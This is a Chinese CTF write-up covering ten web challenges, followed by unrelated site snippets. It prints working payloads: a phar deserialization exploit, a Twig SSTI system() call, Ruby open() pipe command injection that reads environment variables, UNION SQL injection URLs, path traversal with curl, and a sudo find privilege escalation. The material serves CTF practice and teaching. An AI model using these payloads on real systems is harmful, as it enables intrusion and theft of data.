NSSCTF web刷题记录4

文章目录

    • [NSSRound#4 SWPU]1zweb(revenge)
    • [强网杯 2019]高明的黑客
    • [BJDCTF 2020]Cookie is so subtle!
    • [MoeCTF 2021]fake game
    • [第五空间 2021]PNG图片转换器
    • [ASIS 2019]Unicorn shop
    • [justCTF 2020]gofs
    • [UUCTF 2022 新生赛]phonecode
    • [b01lers 2020]Life On Mars
    • [HZNUCTF 2023 final]ezgo


[NSSRound#4 SWPU]1zweb(revenge)

考点:phar反序列化、phar修改签名、__wakeup()绕过、gzip绕过

打开题目,发现可以查看源码
我们分别查看index.php和upload.php
(注意如果不全可以ctrl+u查看源码找到)

index.php

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}

分析一下,存在LoveNss类,如果满足if条件则命令执行,不过可以发现要绕过__wakeup()方法,那么我们用属性数目大于实际即可,然后触发__destruct()也就是需要phar修改签名;然后就是POST参数file可以读取文件,但是过滤了flag

upload.php如下

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

逻辑很简单,就是检测文件后缀是否合法,然后检测文件内容是否含有__HALT_COMPILER();也就是检测是否为phar文件

这道题目思路很清晰,就是要用phar伪协议读取文件,然后绕过__wakeup(),由于文件损坏要修改签名修复,然后用gzip压缩绕过
我们先构造exp

<?php
class LoveNss{public $ljt;public $dky;public $cmd;
}
$a=new LoveNss();
$a->ljt='Misc';
$a->dky='Re';
$a->cmd="system('cat /f*');";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后将phar文件用010打开,并将其修改为4
在这里插入图片描述

phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式
在这里插入图片描述可以知道为SHA256签名格式

我们将刚刚的文件命名为hacker1.phar
然后修改签名脚本

from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40]        #正文部分(除去最后40字节)end=text[-8:]		  #最后八位也是不变的	new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

将修改好的phar文件gzip压缩一下,然后修改后缀
在这里插入图片描述上传,phar伪协议读取

file=phar://upload/hacker1.jpg/hacker1.phar

在这里插入图片描述

[强网杯 2019]高明的黑客

考点:脚本编写爆破

打开题目,发现有备份源码
在这里插入图片描述下载下来,发现有三千个
我们随便打开一个看看,发现存在getshell的过程
在这里插入图片描述
那么我们思路很简单,在这么多文件里找到可以利用的shell
脚本如下

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):s1.acquire()												print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {}														#所有的$_POSTparams = {}														#所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://127.0.0.1/src/'+filereq = session.post(url, data=data, params=params)			#一次性请求所有的GET和POSTreq.close()												# 关闭请求  释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:breakif flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)print('结束时间:  ' + time.asctime(time.localtime(time.time())))s1.release()for i in files:															#加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()

大体流程就是先获取所有的GET和POST请求,然后一次性发送,观察是否存在可利用的shell,如果成功再先判断所有的GET里是否存在,然后判断POST里是否存在shell,通过flag参数值判断为哪个方式,最后输出可利用的shell文件。由于文件数目大,要用多线程

这里跑脚本可能跑不出来,按照下面步骤即可
1.需要开启phpstudy
2.将src文件夹放在phpstudy的WWW文件夹下
3.题中的PHP版本是7.3.5,需要修改本地PHP版本为7.3.5左右

成功找到(vscode跑出来数据不齐不好找)
在这里插入图片描述
命令执行,得到flag
在这里插入图片描述

[BJDCTF 2020]Cookie is so subtle!

考点:Twig模板注入

打开题目,发现存在ssti注入
输入{{7*'7'}},成功回显49,猜测Twig模板注入
在这里插入图片描述F12找到hint,提示去看cookie
在这里插入图片描述
我们抓包看一下,发现存在user参数(也就是注入点)
在这里插入图片描述网上随便找一个没被过滤的payload即可

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /flag")}}

得到flag
在这里插入图片描述

[MoeCTF 2021]fake game

考点:nodejs原型链污染

打开题目,提示只能分配十点数
在这里插入图片描述
我们抓包看看,发现是json格式
结合前面提示merge,猜测原型链污染
在这里插入图片描述
payload用postman发送即可(注意是json格式)
得到flag
在这里插入图片描述

[第五空间 2021]PNG图片转换器

考点:Ruby-利用File.open()执行shell命令

源码

require 'sinatra'
require 'digest'
require 'base64'get '/' doopen("./view/index.html", 'r').read()
endget '/upload' doopen("./view/upload.html", 'r').read()
endpost '/upload' dounless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'return "<script>alert('error');location.href='/upload';</script>"endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}"rescue'something wrong'endendget '/convert' doopen("./view/convert.html", 'r').read()
endpost '/convert' dobeginunless params['file']return "<script>alert('error');location.href='/convert';</script>"endfile = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/return "<script>alert('dont hack me');</script>"endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"rescue'something wrong'end
end

分析一下,./upload路由提供文件上传功能,允许的文件类型为png格式,上传成功后文件名进行加密;./convert路由作用是先检测是否为png格式文件,然后过滤../防止路径穿越,然后pen函数进行读取文件并将文件内容进行base64加密

这里getshell利用的是open()函数执行shell命令的漏洞,原理如下

以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取

我们先随便上传一张png图片
在这里插入图片描述

然后将ls /加密一下,利用反引号和管道符命令执行

file=| `echo bHMgLw== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png

大概执行过程是|左边的输出带入右边,也就是执行反引号里面的,解码完为ls /,然后再到|左边的输入带到右边,执行ls /写入到png文件里
在这里插入图片描述然后查看该png文件,解码
在这里插入图片描述
找了半天,发现flag在环境变量里
加密cat /proc/1/environ

file=| `echo Y2F0IC9wcm9jLzEvZW52aXJvbg== | base64 -d` > 52227927f0672cbaf6a331d49ac96ec3.png

解码得到flag
在这里插入图片描述

[ASIS 2019]Unicorn shop

考点:Unionde等价性的漏洞

打开题目,发现有四个独角兽的购买选择
尝试购买第四个,发现只能1个字符
在这里插入图片描述查看源码,发现提示UTF-8
在这里插入图片描述那么我们要找到一个比1337大的字符即可
题目提示python Unicode,可以知道编码不一致造成了转码安全问题
这里的字符不止一个,我找的是数值五万的(编码网站)
在这里插入图片描述
直接将该字符复制上去,即可得到flag
在这里插入图片描述

[justCTF 2020]gofs

考点:curl命令、目录穿越

源码如下

package mainimport ("fmt""io"fs "main/fs""net/http""os"
)const FILE_MARKER = "\n\n~~~~~~~~~~~~~~ Generated by Go FileServ v0.0.0b ~~~~~~~~~~~~~\n\n(because writing file servers is eeaaassyyyy & fun!!!1111oneone)"
const VERSION = "FileServ v0.0.0b"type wrapperW struct {http.ResponseWriter
}func (w *wrapperW) ReadFrom(src io.Reader) (int64, error) {// if its a file, add the file marker length to its sizeif lr, ok := src.(*io.LimitedReader); ok {lr.N += int64(len(FILE_MARKER))}if w, ok := w.ResponseWriter.(interface{ ReadFrom(src io.Reader) (int64, error) }); ok {return w.ReadFrom(src)}panic("unreachable")
}func main() {var path stringif len(os.Args) < 2 {fmt.Println("Defaulting to serving current directory. Use ./fs <path> to serve different")path, _ = os.Getwd()} else {path = os.Args[1]}fileServ := http.FileServer(fs.CreateFileServFS(path,// Modify all responses by adding the file marker to them// we also need to adjust the file size in the ReadFrom because of to that...func(in []byte) (out []byte) {out = append(in, FILE_MARKER...)return}))http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {w.Header().Set("Served-by", VERSION)w = &wrapperW{w}fileServ.ServeHTTP(w, r)})http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {w.Header().Set("Served-by", VERSION)w.Write([]byte(`No flag for you!`))})port := "8080"fmt.Println("Hosting on port", port)err := http.ListenAndServe(":"+port, nil)fmt.Println(err)
}

分析一下,main函数首先检测参数是否小于2,然后创建了一个http.FileServer,并传入fs.CreateFileServFS()函数的返回值作为参数,能够访问文件。然后就是HandleFunc的一个映射路由/,存在文件读取功能,./flag路由为假flag

看到关键代码

fileServ := http.FileServer(fs.CreateFileServFS(path,// Modify all responses by adding the file marker to them// we also need to adjust the file size in the ReadFrom because of to that...func(in []byte) (out []byte) {out = append(in, FILE_MARKER...)return}))

整个代码片段的作用是创建一个文件服务器,并对所有响应进行修改,在响应内容的末尾添加FILE_MARKER。文件服务器使用fs.CreateFileServFS()创建的文件系统来提供文件服务。在每个响应返回之前,会先调用匿名函数对响应内容进行修改。

我们可以利用curl命令的参数--path-as-is去绕过
(会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段)

curl -X CONNECT --path-as-is http://node4.anna.nssctf.cn:28929/../flag

得到flag
在这里插入图片描述

[UUCTF 2022 新生赛]phonecode

考点:随机数预测

打开题目,提示我们输入手机号(不给hhh)
我们输入1,1看看,发现有hint是随机数,并且我们修改code的值,随机数固定不变
那么查找下php函数,成功找到(固定不变说明有算法)

mt_rand函数

使用 Mersenne Twister 算法生成一个指定范围内的随机整数。参数 $min 和 $max 分别指定了随机数的最小值和最大值。

我们本地测试下,发现hint就是第一次的随机数
在这里插入图片描述
那么我们猜测code值为第二次的随机数
提交试试,得到flag
在这里插入图片描述

[b01lers 2020]Life On Mars

考点:联合查询注入

打开题目,点了半天没发现参数直接抓包

在这里插入图片描述
大概测试了下,过滤了空格
那么我们先爆字段数

/query?search=amazonis_planitia/**/union/**/select/**/1,2&{}&_=1699240477632

发现有两列
在这里插入图片描述
爆库名

/query?search=amazonis_planitia/**/union/**/select/**/1,database()&{}&_=1699240477632

在这里插入图片描述
爆表名

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'&{}&_=1699240477632

在这里插入图片描述
爆列名

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='code'&{}&_=1699240477632

在这里插入图片描述
查询数据得到flag

/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(id,code)/**/from/**/code&{}&_=1699240477632

在这里插入图片描述

[HZNUCTF 2023 final]ezgo

考点:sudo提权

打开题目,提示传参
在这里插入图片描述
随便传flag,发现提示未在路径找到
在这里插入图片描述
那么试试shit=/flag发现权限不够
在这里插入图片描述那么就要提权,我们看看/usr/bin/路径下有什么可以利用的
试试sudo查看下,发现能用
然后看看权限,有find命令可以用
在这里插入图片描述构造payload,得到flag

shit=/usr/bin/sudo find . -exec cat /flag \; -quit

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/183592.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

赴日工作赴日IT 如何找到一份日本IT工作?

IT在日本属于普通白领工作&#xff0c;那些想靠IT工作发财就不必考虑了。但是靠IT工作能安安稳稳的过个自己的小日子没问题&#xff0c;买房买车问题不大&#xff0c;作为一个普通人&#xff0c;在日本可以过的比较舒服。对有在日本长期发展的打算的还算是一个比较好的方向&…

利用maven的dependency插件分析工程的依赖

dependency:analyze https://maven.apache.org/plugins/maven-dependency-plugin/analyze-mojo.html 分析项目的依赖&#xff0c;确定哪些&#xff1a;用了并且声明了、用了但没有声明、没有使用但声明了。 dependency:analyze可以单独使用&#xff0c;所以它总是会执行test-…

【uniapp】解决在H5谷歌浏览器下 u-input 标签 设置只读后,click事件不生效

【问题描述】 谷歌浏览器更新后&#xff0c;h5模式下原本的input外层view中的click事件不触发了?? 但是更换浏览器后就可以&#xff0c;打包app也是正常可以触发的&#xff0c;本来是没打算兼容h5&#xff0c;既然遇到了就记录一下~ 【解决办法】 使u–input里写上readonly&…

arcgis 批量删除Table中的某些Field

当shp或者table文件较少时&#xff0c;可以手动删除每个文件中的某些字段&#xff0c;当文件较多时&#xff0c;就需要使用arcpy或者model进行处理。

动态IP和静态IP哪个安全,该怎么选择

随着互联网的普及&#xff0c;越来越多的人开始关注网络安全问题。其中&#xff0c;IP地址作为网络通信中的重要组成部分&#xff0c;也成为了人们关注的焦点。 在IP地址中&#xff0c;动态IP和静态IP是两种不同的分配方式&#xff0c;它们各自具有不同的特点&#xff0c;那么…

《golang设计模式》第三部分·行为型模式-04-迭代器模式(Iterator)

文章目录 1. 概念1.1 角色1.2 类图 2. 代码示例2.1 需求2.2 代码2.3 类图 1. 概念 迭代器&#xff08;Iterator&#xff09;能够在不暴露聚合体内部表示的情况下&#xff0c;向客户端提供遍历聚合元素的方法。 1.1 角色 InterfaceAggregate&#xff08;抽象聚合&#xff09;…

深入理解强化学习——多臂赌博机:基于置信度上界的动作选择

分类目录&#xff1a;《深入理解强化学习》总目录 因为对动作—价值的估计总会存在不确定性&#xff0c;所以试探是必须的。贪心动作虽然在当前时刻看起来最好&#xff0c;但实际上其他一些动作可能从长远看更好。 ϵ − \epsilon- ϵ−贪心算法会尝试选择非贪心的动作&#xf…

安装RabbitMQ

安装RabbitMQ 下载需要的两个包 # 这直接就可以安装了&#xff0c;下面 ‘上传对应的rmp包’ 操作 [rootrabbitmq-1 ~]# curl -s https://packagecloud.io/install/repositories/rabbitmq/erlang/script.rpm.sh | sudo bash [rootrabbitmq-1 ~]# yum install erlang-21.3.8.2…

竞赛 深度学习驾驶行为状态检测系统(疲劳 抽烟 喝水 玩手机) - opencv python

文章目录 1 前言1 课题背景2 相关技术2.1 Dlib人脸识别库2.2 疲劳检测算法2.3 YOLOV5算法 3 效果展示3.1 眨眼3.2 打哈欠3.3 使用手机检测3.4 抽烟检测3.5 喝水检测 4 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的驾…

6.判断是不是闰年

#include<stdio.h>void fun(int year){if(year%40&&year%100!0||year%4000)printf("%d 是闰年\n",year);elseprintf("%d 不是闰年\n",year);}int main(){int year;scanf("%d",&year);fun(year);return 0;}

Sentinel 哨兵数据 更新下载地址 2023年11月

1. 欧空局官方下载 2023年11月开始&#xff0c;原来欧空局的下载地址和应用有了变化&#xff0c;现在迁移到以下新地址下载&#xff1a; https://dataspace.copernicus.eu/ 我这边测试需要重新注册用户才能进行登录和使用&#xff0c;界面使用和之前差不多&#xff0c;具体操作…

python单元测试框架(继承、unittest参数化、断言、测试报告)

一、继承 继承能解决什么问题&#xff1f; unittest每个模块都要用到前提条件以及清理&#xff0c;如果有上百个模块&#xff0c;我们要改域名和浏览器&#xff0c;就会工作量很大特别麻烦&#xff0c;这时我们可以用继承的思想只用改一次 我们可以将前提和清理提出来单独放…

ubuntu20.04 安装cudnn

中文地址是.cn&#xff1a;cuDNN 历史版本 | NVIDIA 开发者 英文地址是.com&#xff1a;cuDNN 历史版本 | NVIDIA 开发者 1、下载cudnn&#xff1a;cudnn-local-repo-ubuntu2004-8.8.1.3_1.0-1_amd64.deb 解压并安装&#xff1a;sudo dpkg -i cudnn-local-repo-ubuntu2004-8.8…

pytorch与cudatoolkit,cudnn对应关系及安装相应的版本

文章目录 一.cuda安装二、nvidia 驱动和cuda runtime 版本对应关系三、安装cudatoolkit,cudnn对应版本四、cuda11.2版本的对应安装的pytorch版本及安装五、相关参考 一.cuda安装 1.确定当前平台cuda可以安装的版本 安装好显卡驱动后&#xff0c;使用nvidia-smi命令可以查看这个…

P1903 [国家集训队] 数颜色 / 维护队列

带修改的莫队 带修改的莫队就是在基础莫队的基础上增加了一维属性&#xff0c;之前只需要维护l&#xff0c;r现在还需要维护一下时间t&#xff0c;排序还是先按照左端点块儿号排序&#xff0c;然后右端点块儿号排序&#xff0c;最后按时间排序。其它的都是差不多的。 #include…

计算机基础知识44

overflow溢出属性 visible&#xff1a;默认值&#xff0c;内容不会被修剪&#xff0c;会呈现在元素框之外。hidden&#xff1a;内容会被修剪&#xff0c;并且其余内容是不可见的。scroll&#xff1a;内容会被修剪&#xff0c;但是浏览器会显示滚动条以便查看其余的内容。auto: …

BEV-YOLO 论文学习

1. 解决了什么问题&#xff1f; 出于安全和导航的目的&#xff0c;自驾感知系统需要全面而迅速地理解周围的环境。目前主流的研究方向有两个&#xff1a;第一种传感器融合方案整合激光雷达、相机和毫米波雷达&#xff0c;和第二种纯视觉方案。传感器融合方案的感知表现鲁棒&am…

Qt 继承QAbstractTableModel实现自定义TableModel

1.简介 QAbstractTableModel为将数据表示为二维项数组的模型提供了一个标准接口。它不直接使用&#xff0c;但必须进行子类化。 由于该模型提供了比QAbstractItemModel更专业的接口&#xff0c;因此它不适合与树视图一起使用&#xff0c;尽管它可以用于向QListView提供数据。…

ElasticSearch离线安装

1. 上传和解压软件 将elasticsearch-7.11.2-linux-x86_64.tar.gz和kibana-7.11.2-linux-x86_64.tar.gz 上传到/data/es目录 解压文件 tar -zxvf elasticsearch-7.11.2-linux-x86_64.tar.gz tar -zxvf kibana-7.11.2-linux-x86_64.tar.gz 2. 创建es用户 因为安全问题&#xff…

7.判断素数----不知道哪里错了

#include<stdio.h>void fun(int n) { int i;for(i2;i<n;i){if(n%i0)break;}if(in)printf("%d是素数\n",n);elseprintf("%d不是素数",n); }int main(){int n;scanf("d",&n);fun(n);return 0;}